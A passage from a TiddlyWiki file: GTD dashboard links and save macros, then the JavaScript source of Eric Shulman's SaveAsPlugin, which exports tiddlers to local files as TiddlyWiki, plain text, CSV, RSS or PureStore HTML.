[[SomedayDash - No Tickler]]
[[ProjectDash - Complete]]
[[ActionDash - Done]]

[[SomedayMaybe and Future]]

[[Delegated Tasks Dashboard]]

[[Cleanup]]
[[Mismatched Realms]]
[[Subprojects]]

<slider+ Areas>
<<dGSDList startTag:Project tags:'Active && !Complete' groupCountOnly:yes group:Area gView:plain>>
</slider>
<slider All areas>
<<dGSDList startTag:Area>>
</slider>

{{tiny{
<slider Advanced>
[[modify menu|ReviewMenu]]
[[GTDComponent]]
</slider>
}}}
Save using the UploadPlugin (or UploadTiddlerPlugin):
<<upload store.php index.html twbackup />>

Save either locally to a file, 
or to a WebDav-enabled server (whichever you're viewing from):
<<saveChanges>>
<<saveChanges>>
/***
|Name|SaveAsPlugin|
|Source|http://www.TiddlyTools.com/#SaveAsPlugin|
|Documentation|http://www.TiddlyTools.com/#SaveAsPluginInfo|
|Version|2.7.1|
|Author|Eric Shulman|
|License|http://www.TiddlyTools.com/#LegalStatements|
|~CoreVersion|2.1|
|Type|plugin|
|Description|Save current document to another path/filename|
!!!!!Documentation
<<<
see [[SaveAsPluginInfo]]
<<<
!!!!!Revisions
<<<
2011.02.14 2.7.1 fix OSX error: use picker.file.path
2009.10.13 2.7.0 added 'here' param (saves current tiddler)
2009.08.16 2.6.2 fixed handling for backstage
| Please see [[SaveAsPluginInfo]] for additional revision details |
2006.02.03 1.0.0 Created
<<<
!!!!!Code
***/
//{{{
version.extensions.SaveAsPlugin= {major: 2, minor: 7, revision: 1, date: new Date(2011,2,14)};

config.macros.saveAs = {
	label: 'save as...',
	labelparam: 'label:',
	prompt: 'Save current document to a different path/file',
	promptparam: 'prompt:',
	filePrompt: 'Please select or enter a target path/filename',
	targetparam: 'target:',
	defaultFilename: 'new.html',
	filenameparam: 'filename:',
	currfilekeyword: 'here',
	typeparam: 'type:',
	type_TW: 'tw', type_PS: 'ps', type_TX: 'tx', type_CS: 'cs', type_NF: 'nf', // file type tokens
	type_map: {
		tiddlywiki:'tw', tw:'tw', wiki: 'tw',
		purestore: 'ps', ps:'ps', store:'ps',
		plaintext: 'tx', tx:'tx', text: 'tx',
		comma:     'cs', cs:'cs', csv:  'cs',
		newsfeed:  'nf', nf:'nf', xml:  'nf', rss:'nf'
	},
	limitparam: 'limit:',
	replaceparam: 'replace',
	mergeparam: 'merge',
	quietparam: 'quiet',
	openparam: 'open',
	askParam: 'ask',
	hereParam: 'here',
	askMsg: "Enter a tag filter (use * for all tiddlers, 'none' for blank document)",
	hereMsg: 'Enter a tiddler title',
	emptyParam: 'none',
	confirmmsg: "Found %0 tiddlers matching\n\n'%1'\n\nPress OK to proceed",
	mergeprompt: '%0\nalready contains tiddler definitions.\n'
		+'\nPress OK to add new/revised tiddlers to current file contents.'
		+'\nPress Cancel to completely replace file contents',
	mergestatus: 'Merged %0 new/revised tiddlers and %1 existing tiddlers',
	okmsg: '%0 tiddlers written to %1',
	failmsg: 'An error occurred while creating %1',
	filter: '',
	handler: function(place,macroName,params) {
		if ((params[0]||'').startsWith(this.labelparam))
			var label=params.shift().substr(this.labelparam.length);
		if ((params[0]||'').startsWith(this.promptparam))
			var prompt=params.shift().substr(this.promptparam.length);
		if ((params[0]||'').startsWith(this.targetparam))
			var target=params.shift().substr(this.targetparam.length);
		if ((params[0]||'').startsWith(this.filenameparam))
			var filename=params.shift().substr(this.filenameparam.length);
		if ((params[0]||'').startsWith(this.typeparam))
			var filetype=this.type_map[params.shift().substr(this.typeparam.length).toLowerCase()];
		if ((params[0]||'').startsWith(this.limitparam))
			var limit=params.shift().substr(this.limitparam.length);
		var q=((params[0]||'')==this.quietparam);   if (q) params.shift();
		var o=((params[0]||'')==this.replaceparam); if (o) params.shift();
		var m=((params[0]||'')==this.mergeparam);   if (m) params.shift();
		var a=((params[0]||'')==this.openparam);    if (a) params.shift();
		var btn=createTiddlyButton(place,label||this.label,prompt||this.prompt,
			function(){ config.macros.saveAs.go( this.getAttribute('target'),
				this.getAttribute('filename'), this.getAttribute('filetype'),
				this.getAttribute('filter'), this.getAttribute('limit'),
				this.getAttribute('quiet')=='true',
				this.getAttribute('overwrite')=='true',
				this.getAttribute('merge')=='true',
				this.getAttribute('autoopen')=='true',
				this);
				return false;
			});
		if (target) btn.setAttribute('target',target);
		if (filename) btn.setAttribute('filename',filename);
		btn.setAttribute('filetype',filetype||this.type_TW);
		btn.setAttribute('filter',params.join(' '));
		btn.setAttribute('limit',limit||0);
		btn.setAttribute('quiet',q?'true':'false');
		btn.setAttribute('overwrite',o?'true':'false');
		btn.setAttribute('merge',m?'true':'false');
		btn.setAttribute('autoopen',a?'true':'false');
	},
	go: function(target,filename,filetype,filter,limit,quiet,overwrite,merge,autoopen,here) {
		var cm=config.messages; // abbreviation
		var cms=config.macros.saveAs; // abbreviation
		if (window.location.protocol!='file:') // make sure we are local
			{ displayMessage(cm.notFileUrlError); return; }

		// get tidders, confirm filtered results
		var tids=cms.selectTiddlers(filter,here);
		if (tids===false) return; // cancelled by user
		if (cms.filter!=cms.emptyParam && cms.filter.length && !quiet)
			if (!confirm(cms.confirmmsg.format([tids.length,cms.filter]))) return;

		// get target path/filename
		if (!filetype) filetype=this.type_TW;
		target=target||cms.getTarget(filename,filetype==this.type_TX?'txt':filetype==this.type_CS?'csv':'html');
		if (!target) return; // cancelled by user

		var link='file:///'+target.replace(/\\/g,'/');
		var samefile=link==decodeURIComponent(window.location.href);
		var p=getLocalPath(document.location.href);
		if (samefile) {
			if (config.options.chkSaveBackups)
				{ var t=loadOriginal(p);if(t)saveBackup(p,t); }
			if (config.options.chkGenerateAnRssFeed && saveRss instanceof Function)
				saveRss(p);
		}
		var notes='';
		var total={val:0};
		var out=this.assembleFile(target,filetype,tids,limit||0,notes,quiet,overwrite,merge,total);
		var ok=saveFile(target,out);
		if (ok && autoopen) {
			if (!samefile) window.open(link).focus();
			else { store.setDirty(false); window.location.reload(); }
		}
		if (!quiet || !(ok && autoopen))
			displayMessage((ok?this.okmsg:this.failmsg).format([total.val,target]),link);
	},
	selectTiddlers: function(filter,here) {
		var cms=config.macros.saveAs; // abbreviation
		var tids=[]; cms.filter=filter||'';
		if (filter==cms.emptyParam)
			return tids;
		if (filter==config.macros.saveAs.hereParam) {
			var here=story.findContainingTiddler(here);
			if (here) var tid=here.getAttribute('tiddler');
			else var tid=prompt(config.macros.saveAs.hereMsg,'');
			while (tid && !store.tiddlerExists(tid)) {
				var err='"'+tid+'" not found.\nPlease try again.\n\n';
				var tid=prompt(err+config.macros.saveAs.hereMsg,tid);
			}
			if (!tid) return false;  // cancelled by user
			return [store.getTiddler(tid)];
		}
		if (filter==config.macros.saveAs.askParam) {
			filter=prompt(config.macros.saveAs.askMsg,'');
			if (!filter) return false;  // cancelled by user
			cms.filter=filter=='*'?'':filter;
		}
		if (!filter||!filter.length||filter=='*') tids=store.getTiddlers('title');
		else tids=store.filterTiddlers('[tag['+filter+']]');
		return tids;
	},
	getTarget: function(defName,defExt) {
		var cms=config.macros.saveAs; // abbreviation
		// get new target path/filename
		var newPath=getLocalPath(window.location.href);
		var slashpos=newPath.lastIndexOf('/'); if (slashpos==-1) slashpos=newPath.lastIndexOf('\\'); 
		if (slashpos!=-1) newPath=newPath.substr(0,slashpos+1); // trim filename
		if (!defName||!defName.length) { // use current filename as default
			var p=getLocalPath(window.location.href);
			var s=p.lastIndexOf('/'); if (s==-1) s=p.lastIndexOf('\\'); 
			if (s!=-1) defName=p.substr(s+1);
		}
		var defFilename=(defName||cms.defaultFilename).replace(/.html$/,'.'+defExt);
		var target=cms.askForFilename(cms.filePrompt,newPath,defFilename,defExt);
		if (!target) return; // cancelled by user
		// if specified file does not include a path, assemble fully qualified path and filename
		var slashpos=target.lastIndexOf('/'); if (slashpos==-1) slashpos=target.lastIndexOf('\\');
		if (slashpos==-1) target=target+(defName||cms.defaultFilename).replace(/.html$/,'.'+defExt);
		return target;
	},
	askForFilename: function(msg,path,file,defExt) {
		if(window.Components) { // moz
			try {
				netscape.security.PrivilegeManager.enablePrivilege('UniversalXPConnect');
				var nsIFilePicker = window.Components.interfaces.nsIFilePicker;
				var picker = Components.classes['@mozilla.org/filepicker;1'].createInstance(nsIFilePicker);
				picker.init(window, msg, nsIFilePicker.modeSave);
				var thispath = Components.classes['@mozilla.org/file/local;1'].createInstance(Components.interfaces.nsILocalFile);
				thispath.initWithPath(path);
				picker.displayDirectory=thispath;
				picker.defaultExtension=defExt||'html';
				picker.defaultString=file;
				picker.appendFilters(nsIFilePicker.filterAll|nsIFilePicker.filterText|nsIFilePicker.filterHTML);
				if (picker.show()!=nsIFilePicker.returnCancel) var result=picker.file.path;
			}
			catch(e) { alert('error during local file access: '+e.toString()) }
		}
		else { // IE
			try { // XP/Vista only
				var s = new ActiveXObject('UserAccounts.CommonDialog');
				s.Filter='All files|*.*|Text files|*.txt|HTML files|*.htm;*.html|';
				s.FilterIndex=(defExt=='txt')?2:3; // default to HTML files;
				s.InitialDir=path;
				s.FileName=file;
				if (s.showOpen()) var result=s.FileName;
			}
			catch(e) { var result=prompt(msg,path+file); } // fallback for non-XP IE
		}
		return result;
	},
	plainTextHeader:
		 'Source:\n\t%0\n'
		+'Title:\n\t%1\n'
		+'Subtitle:\n\t%2\n'
		+'Created:\n\t%3 by %4\n'
		+'Application:\n\tTiddlyWiki %5 / %6 %7\n\n',
	plainTextTiddler:
		'- - - - - - - - - - - - - - -\n'
		+'|     title: %0\n'
		+'|   created: %1\n'
		+'|  modified: %2\n'
		+'| edited by: %3\n'
		+'|      tags: %4\n'
		+'- - - - - - - - - - - - - - -\n'
		+'%5\n',
	plainTextFooter:
		'',
	newsFeedHeader:
		 '<'+'?xml version="1.0"?'+'>\n'
		+'<rss version="2.0">\n'
		+'<channel>\n'
		+'<title>%1</title>\n'
		+'<link>%0</link>\n'
		+'<description>%2</description>\n'
		+'<language>en-us</language>\n'
		+'<copyright>Copyright '+(new Date().getFullYear())+' %4</copyright>\n'
		+'<pubDate>%3</pubDate>\n'
		+'<lastBuildDate>%3</lastBuildDate>\n'
		+'<docs>http://blogs.law.harvard.edu/tech/rss</docs>\n'
		+'<generator>TiddlyWiki %5 / %6 %7</generator>\n',
	newsFeedTiddler:
		'\n%0\n',
	newsFeedFooter:
		'</channel></rss>',
	pureStoreHeader:
		 '<html><body>'
		+'<style type="text/css">'
		+'	#storeArea {display:block;margin:1em;}'
		+'	#storeArea div {padding:0.5em;margin:1em;border:2px solid black;height:10em;overflow:auto;}'
		+'	#pureStoreHeading {width:100%;text-align:left;background-color:#eeeeee;padding:1em;}'
		+'</style>'
		+'<div id="pureStoreHeading">'
		+'	TiddlyWiki "PureStore" export file<br>'
		+'	Source'+': <b>%0</b><br>'
		+'	Title: <b>%1</b><br>'
		+'	Subtitle: <b>%2</b><br>'
		+'	Created: <b>%3</b> by <b>%4</b><br>'
		+'	TiddlyWiki %5 / %6 %7<br>'
		+'	Notes:<hr><pre>%8</pre>'
		+'</div>'
		+'<div id="storeArea">',
	pureStoreTiddler:
		'%0\n%1',
	pureStoreFooter:
		'</div><!--POST-BODY-START-->\n<!--POST-BODY-END--></body></html>',
	assembleFile: function(target,filetype,tids,limit,notes,quiet,overwrite,merge,total) {
		var revised='';
		var now = new Date().toLocaleString();
		var src=convertUnicodeToUTF8(document.location.href);
		var title = convertUnicodeToUTF8(wikifyPlain('SiteTitle').htmlEncode());
		var subtitle = convertUnicodeToUTF8(wikifyPlain('SiteSubtitle').htmlEncode());
		var user = convertUnicodeToUTF8(config.options.txtUserName.htmlEncode());
		var twver = version.major+'.'+version.minor+'.'+version.revision;
		var v=version.extensions.SaveAsPlugin; var pver = v.major+'.'+v.minor+'.'+v.revision;
		var headerargs=[src,title,subtitle,now,user,twver,'SaveAsPlugin',pver,notes];
		switch (filetype) {
			case this.type_TX: // plain text
				var header=this.plainTextHeader.format(headerargs);
				var footer=this.plainTextFooter;
				break;
			case this.type_CS: // comma-separated
				var fields={};
				for (var i=0; i<tids.length; i++) for (var f in tids[i].fields) fields[f]=f;
				var names=['title','created','modified','modifier','tags','text'];
				for (var f in fields) names.push(f);
				var header=names.join(',')+'\n';
				var footer='';
				break;
			case this.type_NF: // news feed (XML)
				headerargs[0]=store.getTiddlerText('SiteUrl','');
				var header=this.newsFeedHeader.format(headerargs);
				var footer=this.newsFeedFooter;
				tids=store.sortTiddlers(tids,'-modified');
				break;
			case this.type_PS: // PureStore (no code)
				var header=this.pureStoreHeader.format(headerargs);
				var footer=this.pureStoreFooter;
				break;
			case this.type_TW: // full TiddlyWiki
			default:
				var currPath=getLocalPath(window.location.href);
				var original=loadFile(currPath);
				if (!original) { alert(config.messages.cantSaveError); return; }
				var posDiv = locateStoreArea(original);
				if (!posDiv) { alert(config.messages.invalidFileError.format([currPath])); return; }
				var header = original.substr(0,posDiv[0]+startSaveArea.length)+'\n';
				var footer = '\n'+original.substr(posDiv[1]);
				break;
		}
		if (parseInt(limit)!=0) tids=tids.slice(0,limit);
		var out=this.getData(target,filetype,tids,quiet,overwrite,merge,fields);
		var revised = header+convertUnicodeToUTF8(out.join('\n'))+footer;
		// if full TW, insert page title and language attr, and reset MARKUP blocks as needed...
		if (filetype==this.type_TW) {
			var newSiteTitle=convertUnicodeToUTF8(getPageTitle()).htmlEncode();
			revised=revised.replaceChunk('<title'+'>','</title'+'>',' ' + newSiteTitle + ' ');
			revised=updateLanguageAttribute(revised);
			var titles=[]; for (var i=0; i<tids.length; i++) titles.push(tids[i].title);
			revised=updateMarkupBlock(revised,'PRE-HEAD',
				titles.contains('MarkupPreHead')? 'MarkupPreHead' :null);
			revised=updateMarkupBlock(revised,'POST-HEAD',
				titles.contains('MarkupPostHead')?'MarkupPostHead':null);
			revised=updateMarkupBlock(revised,'PRE-BODY',
				titles.contains('MarkupPreBody')? 'MarkupPreBody' :null);
			revised=updateMarkupBlock(revised,'POST-SCRIPT',
				titles.contains('MarkupPostBody')?'MarkupPostBody':null);
		}
		total.val=out.length;
		return revised;
	},
	getData: function(target,filetype,tids,quiet,overwrite,merge,fields) {
		// output selected tiddlers and gather l